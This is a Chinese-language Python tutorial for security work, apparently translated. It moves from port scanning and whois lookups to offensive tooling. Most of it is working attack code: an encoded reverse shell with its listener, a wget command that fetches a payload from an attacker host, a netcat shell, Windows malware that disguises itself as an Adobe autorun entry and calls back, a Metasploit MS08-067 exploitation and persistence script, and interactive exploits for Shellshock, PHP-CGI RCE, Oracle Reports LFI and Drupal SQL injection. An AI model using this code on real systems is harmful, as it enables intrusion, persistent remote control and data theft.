信息安全中常用的Python技术

信息安全中常用的Python技术

这篇教程原文是面向没有Python编程背景人员的,从最基础的一直到漏洞利用,介绍了信息安全人员常用的一些Python技术。

0x0 - 开始

Python是一门在信息安全领域应用广泛的强大语言。大量安全工具软件是由Python开发并且很容易脚本化,通过模块化设计可以几行代码就完成复杂的工作任务。

本文是基于Python2.x进行的:

1
2
$ python
Python 2.7.10 (default, Oct 23 2015, 18:05:06)

0x1 - 端口扫描

这部分使用Python建立一个简单的端口扫描程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket

s = socket.socket()

hosts = ['127.0.0.1', '192.168.1.5', '10.0.0.1']

ports = [22, 445, 80, 443, 3389]

for host in hosts:
for port in ports:
try:
print "[+] Connecting to "+host+":"+str(port)
s.connect((host, port))
s.send('Primal Security \n')
banner = s.recv(1024)
if banner:
print "[+] Port "+str(port)+" open: "+banner
s.close()
except:
pass

这个例子用于说明端口扫描的基本工作原理,真正要使用的是类似Nmap这样强大的端口扫描工具。

0x2 - 反射Shell

假设有一个脚本 shell.py,可以快速启用一个web服务:

1
$ python -m SimpleHTTPServer 8080

然后方便从其它机器获得该程序:

1
2
3
4
5
6
7
8
9
10
11
# Switch -O allows you to output to another directory - /tmp/ is often writable
$ wget -O /tmp/shell.py http://<attacker_ip>/shell.py

# Change permissions
$ chmod a+x /tmp/shell.py

# Always a good idea to make sure the file pulled over properly
$ file /tmp/shell.py

# Run the python shell
$ /usr/bin/python /tmp/shell.py

这样就在此机器上运行了一个程序,留了一个后门,看看后门程序 shell.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

import socket,subprocess,sys

RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

while True:
# recieve XOR encoded data from network socket
data = s.recv(1024)

# XOR the data again with a '\x41' to get back to normal data
en_data = bytearray(data)
for i in range(len(en_data)):
en_data[i] ^=0x41

# Execute the decoded data as a command. The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()

# Encode the output and send to RHOST
en_STDOUT = bytearray(STDOUT)
for i in range(len(en_STDOUT)):
en_STDOUT[i] ^=0x41

s.send(en_STDOUT)
s.close()

连接服务器,接受传递的命令,通过 =subprocess模块= 运行命令并将输出保存为变量,可以将输出内容传递出去,获得 反射shell

再建立一个监听后门程序的服务程序 server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(("0.0.0.0", 443))

s.listen(2)

print "Listening on port 443... "

(client, (ip, port)) = s.accept()

print " Received connection from : ", ip

while True:
command = raw_input('~$ ')
encode = bytearray(command)

for i in range(len(encode)):
encode[i] ^=0x41

client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)

for i in range(len(decode)):
decode[i] ^=0x41

print decode

client.close()
s.close()

一旦有后门程序连接,则输入命令并获取执行后结果。

0x3 - 漏洞检查工具(Fuzzer)

漏洞检查的基本过程可以这样描述:连接服务器,发送数据,增加数据内容,再次发送,如此循环一直到程序奔溃.

用伪码表示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<import modules> # most likely will be socket, sys, but if its a web service you might import httplib, urllib, etc.

# Set up remote IP/Port variables
# Invoke the script: ./script.py <RHOST> <RPORT>
RHOST = sys.argv[1]
RPORT = sys.argv[2]

# Define your buffer string that will be incremented until a potential crash
buffer = '\x41'*50

# Create a loop that will connect to the service and send the buffer:
while True:
try:
# send buffer
# increment buffer by 50
buffer = buffer + '\x41'*50
except:
print "Buffer Length: "+len(buffer)
print "Can't connect to service...check debugger for potential crash"

快速启动一个FTP站点用于测试:

1
$ sudo python -m pyftpdlib -p 21

专门针对FTP的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Import the required modulees the script will leverage
# This lets us use the functions in the modules instead of writing the code from scratch
import sys, socket
from time import sleep

# set first argument given at CLI to 'target' variable
target = sys.argv[1]
# create string of 50 A's '\x41'
buff = '\x41'*50

# loop through sending in a buffer with an increasing length by 50 A's
while True:
# The "try - except" catches the programs error and takes our defined action
try:
# Make a connection to target system on TCP/21
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
s.connect((target,21))
s.recv(1024)

print "Sending buffer with length: "+str(len(buff))
# Send in string 'USER' + the string 'buff'
s.send("USER "+buff+"\r\n")
s.close()
sleep(1)
# Increase the buff string by 50 A's and then the loop continues
buff = buff + '\x41'*50

except: # If we fail to connect to the server, we assume its crashed and print the statement below
print "[+] Crash occured with buffer length: "+str(len(buff)-50)
sys.exit()

不同类型的服务器需要组织特别的数据,但原理是想通的,可以使用专业的漏洞检查工具 Spike.

0x4 - Python编译成exe

对于Windows系统环境,可能并没有安装Python运行环境,则需要将Python程序编译成可执行文件形式;这样不需要安装Python环境可以直接运行。

安装依赖环境:

1
2
Linux: sudo apt-get install python2.7 build-essential python-dev zlib1g-dev upx
Windows: http://www.activestate.com/activepython (fully packaged installer file)

然后分别安装生成可执行文件需要的软件包:

  • Pywin32
  • Setuptools
  • PyInstaller

安装后执行命令获得可执行文件:

1
$ pyinstaller --onefile <scriptName>

要生成EXE文件需要在Windows环境进行,更多 =PyInstaller= 的用法参看其文档。

0x5 - Web请求

常用于构造/解析web请求的软件库有:

  • httplib
  • Mechanize
  • Beautiful Soup
  • urllib/urllib2

当使用程序来获取web资源的时候,一般会考虑:

  • 请求的URL结构
  • 响应信息中哪部分是有用的

比如 http://iplist.net// 的URL改变的只有ip地址,获得一个页面后可以使用 =Firebug= 工具查看感兴趣部分的HTML标签,再用 =Beautiful Soup= 将内容提取出来:

1
2
3
4
5
6
7
8
9
10
from bs4 import BeautifulSoup

import urllib2

url = "http://iplist.net/8.8.8.8/"

bs = BeautifulSoup(urllib2.urlopen(url).read())

for site in bs.find_all('h2'):
print site

0x6 - 爬虫(Spidering)

爬虫基本就是获取网页内容,然后顺着各个链接一路爬过去,知道爬出整个网站的地图来。

安装软件包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python
from spider import webspider as myspider
import sys, optparse

def crawler(URLs):
for line in open(URLs, 'r'):
URL = line.strip()
links = myspider(b=URL.strip(), w=200, d=5, t=5)
link_count = len(links[0])
out = URL+": has a link count of "+str(link_count)
print "[+] Web Crawl Results for: "+URL
print out
for item in links[1]:
print item

def main():
# This optparse module allows you to build command line switches in your scripts
# This will set the usage to '-r' and have it stored to a variable URLs
# Then we will open the file given at the command line with -r and attempt to spider
parser = optparse.OptionParser(sys.argv[0]+' '+ \
'-r <file_with URLs>')
parser.add_option('-r', dest='URLs', type='string', \
help='specify target file with URLs')
(options, args) = parser.parse_args()
URLs=options.URLs

if (URLs == None):
print parser.usage
sys.exit(0)
else:
crawler(URLs)

if __name__ == "__main__":
main()

这里的 spider 应该是很老的模块了,不好用,连安装也很难。找了半天找到别人翻译的一个版本,才找到这个模块,不建议使用,还是使用 =scrapy= .

0x7 - Web扫描与漏洞利用

一般在扫描、利用漏洞的工具还没有出来的时候, =Proof of Concept(PoC)= 代码就发布出来了,这时候就需要自己建立一个工具来对系统进行检测。

web扫描

Sling.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#####################################
# sling.py - checks for resources #
# Can seach for string in response #
#####################################

from bs4 import BeautifulSoup
import sys, optparse, socket
from urllib import urlopen

class Colors:
RED = '\033[91m'
GREEN = '\033[92m'

# Function takes in URL, and resources variable which contains the requests
def webreq(server, resources):
try:
resource = []
# Loop through the resource file
for item in open(resources, 'r'):
# Append each item in the file to the array
resource.append(item.strip())

# Loop through the array and create a request for each item in the array
for item in resource:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5) # set a timeout on the socket connection
url = server.strip()+item.strip() # Format the url variable to store the request: "http://www.site.com/CFIDE/administrator/enter.cfm"
request = urlopen(url) # Make the request
if search: # If the "search" variable is true (-s)
parsed = BeautifulSoup(request.read(), "lxml") # Parse the output with BeautifulSoup
if search in str(parsed): # If the search string is in the output print the next line
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
elif request.getcode() == 404: # If we got an HTTP status code
print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]" # Print the URL and status code
elif request.getcode():
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"
except:
pass

def main():
# Creates CLI switches and stores in variables
parser = optparse.OptionParser(sys.argv[0]+' '+ '-i <file_with URLs> -r -s [optional]')

parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
(options, args) = parser.parse_args()
servers=options.servers
resources=options.resources
global search; search=options.search

if (servers == None) and (resources==None): # Checks to make sure proper CLI switches were given
print parser.usage # if not print usage
sys.exit(0)

if servers:
for server in open(servers, 'r'): # loop through each URL in the file
webreq(server, resources) # Invoke the webreq function

if __name__ == "__main__":
main()

运行效果:

1
2
3
4
5
$ python sling.py -i urls.txt -r sp.py -s python
[+] URL: http://www.primalsecurity.net/#!/usr/bin/python [404] Found: 'python' in ouput
[+] URL: http://www.primalsecurity.net/from spider import webspider as myspider [404] Found: 'python' in ouput
[+] URL: http://www.primalsecurity.net/import sys, optparse [404] Found: 'python' in ouput
[+] URL: http://www.primalsecurity.net/ [200] Found: 'python' in ouput

自动攻击web程序

不久前Oracle爆出了一个 Local File Inclusion (LFI) 漏洞,但这个时候只有 =PoC= 代码存在,并不存在检测工具,可以自己实现一个工具。

pwnacle.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#######################################
# pwnacle.py - Exploits CVE-2012-3152 #
# Oracle Local File Inclusion (LFI) #
#######################################

import urllib, sys, ssl, inspect
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
import socket

server = sys.argv[1] # Assigns first argument given at the CLI to 'server' variable
dir = sys.argv[2] # Assigns second argument given at the CLI to 'dir' variable
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'

#request format to exploit the vulnerability
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'
print "Sending Request: "+server+req+dir+'"'

if 'http://' in server: # Use urllib module for http -- self signed SSL certs caused an exception with urllib
try:
conn = urllib.urlopen(server+req+dir+'"') # Sent the request to the server
out = conn.readlines()
for item in conn:
print item.strip()
except Exception as e:
print e

if 'https://' in server: # Create web request with ssl module
try:
conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
request = 'GET '+req+dir+'"'+' HTTP/1.1'+'\n'
request += 'Host: '+ip+'\n'
request += 'User-Agent: Mozilla/5.0 '+'\n'
request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'\n'
request += 'Accept-Language: en-US,en;q=0.5'+'\n'
request += 'Accept-Encoding: gzip, deflate'+'\n'
request += 'Connection: keep-alive'+'\n'
conn.send(request+'\n')
print conn.recv()
print conn.recv(20098)
except Exception as e:
print e

0x8 - Whois自动化

基于模块cymruwhois 1.0,安装后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> from cymruwhois import Client
>>> c = Client()
>>> baidu = c.lookup('220.181.57.217')
>>> baidu
<cymruwhois.record instance: 23724|220.181.57.217|220.181.32.0/19|CN|CHINANET-IDC-BJ-AP IDC, China Telecommunications Corporation,CN>
>>> type(baidu)
<type 'instance'>
>>> dir(baidu)
['__doc__', '__init__', '__module__', '__repr__', '__str__', 'asn', 'cc', 'ip', 'owner', 'prefix']
>>> baidu.ip
'220.181.57.217'
>>> baidu.owner
'CHINANET-IDC-BJ-AP IDC, China Telecommunications Corporation,CN'
>>> baidu.cc
'CN'
>>> baidu.prefix
'220.181.32.0/19'

该模块还提供了许多函数用于同时查看多个站点的注册信息。

ip2net.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python

import sys, os, optparse
from cymruwhois import Client

def look(iplist):
c=Client()
try:
if ips != None:
r = c.lookupmany_dict(iplist)
for ip in iplist:
lookupman_dict()
net = r[ip].prefix; owner = r[ip].owner; cc = r[ip].cc
line = '%-20s # - %15s (%s) - %s' % (net,ip,cc,owner)
print line
except:pass

def checkFile(ips): # Checks to ensure the file can be read
if not os.path.isfile(ips):
print '[-] ' + ips + ' does not exist.'
sys.exit(0)
if not os.access(ips, os.R_OK):
print '[-] ' + ips + ' access denied.'
sys.exit(0)
print '[+] Querying from: ' +ips

def main():
parser = optparse.OptionParser('%prog '+ '-r <file_with IPs> || -i <IP>')

parser.add_option('-r', dest='ips', type='string', help='specify target file with IPs')
parser.add_option('-i', dest='ip', type='string', help='specify a target IP address')

(options, args) = parser.parse_args()
ip = options.ip
global ips; ips = options.ips

if (ips == None) and (ip == None):
print parser.usage
sys.exit(0)
if ips != None:
checkFile(ips)
iplist = []
for line in open(ips, 'r'):
iplist.append(line.strip('\n'))
look(iplist)

else:
try:
c=Client()
r = c.lookup(ip)
net = r.prefix; owner = r.owner; cc = r.cc
line = '%-20s # - %15s (%s) - %s' % (net,ip,cc,owner)
print line
except:pass

if __name__ == "__main__":
main()

如果有 =tcpdump= 监控网络获得数据包,进而获得一系列的ip:

1
2
3
4
5
6
7
8
9
$ sudo tcpdump -w t.cap
$ tcpdump -ttttnnr t.cap tcp[13]=2 | awk '{print $6}' | awk -F "." '{print $1"."$2"."$3"."$4}' > ips.txt
reading from PCAP-NG file t.cap
$ python ip2net.py -r ips.txt
[+] Querying from: ips.txt
134.170.0.0/16 # - 134.170.111.24 (US) - MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft Corporation,US
52.2.0.0/15 # - 52.3.76.20 (US) - AMAZON-AES - Amazon.com, Inc.,US
192.30.252.0/24 # - 192.30.252.129 (US) - GITHUB - GitHub, Inc.,US
185.31.19.0/24 # - 185.31.19.133 (EU) - FASTLY - Fastly,US

0x9 - 命令自动化

通过Python执行系统命令,常用的有:

  • os.system
  • subprocess.Popen
1
2
3
4
5
6
7
8
9
>>> import os
>>> os.system('uname -a')
0
>>> import subprocess
>>> com_str = 'uname -a'
>>> command = subprocess.Popen([com_str], stdout=subprocess.PIPE, shell=True)
>>> (output, error) = command.communicate()
>>> print output
Darwin 15.2.0 Darwin Kernel Version 15.2.0

区别就是后者可以将输出结果保存起来。

0xA - Metasploit自动化

由Spiderlabs开发的 =pymsf= 模块可以让Python对Metasploit的 msgrpc 进行交互操作。

先启动msgrpc:

1
$ load msgrpc Pass=<password>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import os, msfrpc, optparse, sys, subprocess
from time import sleep

# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
post = open('/tmp/smbpost.rc', 'w')
bat = open('/tmp/ms08067_install.bat', 'w')

postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""
batcomm = "ms08067_patch.exe /quiet"
post.write(postcomms); bat.write(batcomm)
post.close(); bat.close()

# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']

## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""

print "[+] Running post-exploit script on: "+RHOST
client.call('console.write',[console_id,runPost])
rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
sleep(10)
listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres

def main():
parser = optparse.OptionParser(sys.argv[0] + ' -p LPORT -r RHOST -l LHOST')

parser.add_option('-p', dest='LPORT', type='string', help ='specify a port to listen on')
parser.add_option('-r', dest='RHOST', type='string', help='Specify a remote host')
parser.add_option('-l', dest='LHOST', type='string', help='Specify a local host')
parser.add_option('-s', dest='session', type='string', help ='specify session ID')

(options, args) = parser.parse_args()
session=options.session
RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT

if (RHOST == None) and (LPORT == None) and (LHOST == None):
print parser.usage
sys.exit(0)

builder(RHOST, LHOST, LPORT)
sploiter(RHOST, LHOST, LPORT, session)

if __name__ == "__main__":
main()

0xB - 伪终端

最初级的终端是cmd.exe、/bin/sh通过socket的反射或者某个端口连接获得控制终端,它们处理STDIN/STDOUT/STDERR的方式不同于SSH等。

如果遇到复杂的命令,就可能导致终端崩溃,通过 =netcat= 获取一个shell:

1
2
3
4
5
6
# Start a netcat listener
$ netcat -lvp 443
listening on [any] 443 ...

# Use netcat to toss '/bin/sh' over a network socket
$ netcat 127.0.0.1 443 -e /bin/sh

虽然获得了一个shell,但复杂的操作如vi则无法运行,导致程序奔溃退出(注意: =-e= 选项可能要开启)。

在此基础上,通过 =pty= 模块,可以快速获得一个更好一点的终端:

1
2
3
4
5
6
$ python -c "import pty;pty.spawn('/bin/bash')"
CL-USER> $ uptime
00:20上午 up 7 days 1:31, 5 users, load average: 5.02, 3.67, 2.97
CL-USER> $ date
12 31 00:20:54 CST 2015
CL-USER> $ vi

虽然获得终端还是没有所有的访问权限,但基本的操作都可以支持了。

0xC - Python恶意软件

通过PyInstaller可以制作恶意软件,这里主要是在Windows主机进行的恶意行为。

通过后去注册表的方式获得权限,常见的是修改 =Software\Microsoft\Windows\CurrentVersion\Run=:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import sys, base64, os, socket, subprocess
from _winreg import *

def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))

# Queries Windows registry for key values
# Appends autorun key to runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass

# Set autorun key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass

def shell():
#Base64 encoded reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()

def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()

if __name__ == "__main__":
main()

通过修改注册表,当用户登录系统后自动运行程序,从而可以随时向服务器反射一个shell(PS: 还没有实际运行过)。

案例: CVE-2014-6271(ShellShock)

=CVE-2014-6271= 是一个bash远程命令执行漏洞,原因是 =env= 命令在定义变量后还可以继续执行后续的其它命令,测试方法:

1
$ env x='() { :;}; echo vulnerable' bash -c 'echo hello'

如果会输出 vulnerable,则说明存在这个漏洞,进而可以被用作攻击:

1
$ curl -A "() { foo;};echo;/bin/cat /etc/passwd" http://192.168.0.1/poc.cgi

脚本化,构造web请求并修改 User-Agent:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python

import sys, urllib2

if len(sys.argv) != 2:
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)

URL=sys.argv[1]
print "[+] Attempting Shell_Shock - Make sure to type full path"

while True:
command=raw_input("~$ ")
opener=urllib2.build_opener()
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo /bin/bash -c "' +
command + '"')]
try:
response=opener.open(URL)
for line in response.readlines():
print line.strip()
except Exception as e:
print e

案例: CVE-2012-1823

=CVE-2012-1823= 是一个PHP-CGI远程执行漏洞(Remote Code Execution,RCE):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python

import sys, urllib2

if len(sys.argv) != 2:
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)

URL=sys.argv[1]
print "[+] Attempting CVE-2012-1823 - PHP-CGI RCE"

while True:
command=raw_input("~$ ")
Host = URL.split('/')[2] # Parse host from URL: 'http://<host>/' will parse out <host>
headers = {
'Host': Host,
'User-Agent': 'Mozilla',
'Connection': 'keep-alive'}
data = "<?php system('"+command+"');die(); ?>" # PHP to run on the server
req = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers)

try:
response = urllib2.urlopen(req)
for line in response.readlines():
print line.strip()
except Exception as e: print e

案例: CVE-2012-3152

=CVE-2012-3152 Oracle Reports Local File Inclusion (LFI)=:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python

import sys, urllib2

from termcolor import colored # Need to download python module "termcolor"

if len(sys.argv) != 2:
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)

URL=sys.argv[1]
print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"

while True:
resource=raw_input(colored("~$ ", "red"))
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=' + \
'cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'
try:
response=urllib2.urlopen(URL+req)
# Sends request and prints the response
for line in response.readlines():
print line.strip()
except Exception as e: print e

案例: CVE-2014-3704

Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python

import sys, urllib2

if len(sys.argv) != 2:
print "Usage: "+sys.argv[0]+" [URL]"
sys.exit(0)

URL=sys.argv[1]
print "[+] Attempting CVE-2014-3704 Drupal 7.x SQLi"

user=raw_input("Username to add: ")

Host = URL.split('/')[2]
headers = {
'Host': Host,
'User-Agent': 'Mozilla',
'Connection': 'keep-alive'}

# SQL Query send in body of post via the data variable:

# insert into users (uid, name, pass, mail, status) select max(uid)+1, '"+user+"', '[password_hash]', 'email@gmail.com', 1 from users; insert into users_roles (uid, rid) VALUES ((select uid from users where name='"+user+"'), (select rid from role where name = 'administrator')

data = "name%5b0%20%3binsert%20into%20users%20%28uid%2c%20name%2c%20pass%2c%20mail%2c%20status%29%20select%20max%28uid%29%2b1%2c%20%27"+user+"%27%2c%20%27%24S%24$S$CTo9G7Lx27gCe3dTBYhLhZOTqtJrlc7n31BjHl/aWgfK82GIACiTExGY3A9yrK1l3DdUONFFv8xV8SH9wr4r23HJauz47c/%27%2c%20%27email%40gmail.com%27%2c%201%20from%20users%3b%20insert%20into%20users_roles%20%28uid%2c%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3d%27"+user+"%27%29%2c%20%28select%20rid%20from%20role%20where%20name%20%3d%20%27administrator%27%29%29%3b%3b%20%23%20%5d=zRGAcKznoV&name%5b0%5d=aYxxuroJbo&pass=lGiEbjpEGm&form_build_id=form-5gCSidRr8NruKFEYt3eunbFEhLCfJaGuqGAnu80Vv0M&form_id=user_login_block&op=Log%20in"

req = urllib2.Request(URL+"?q=node&destination=node", data, headers)

try:
response = urllib2.urlopen(req)
print "Account created with user: "+user+" and password: password"
except Exception as e: print e

资源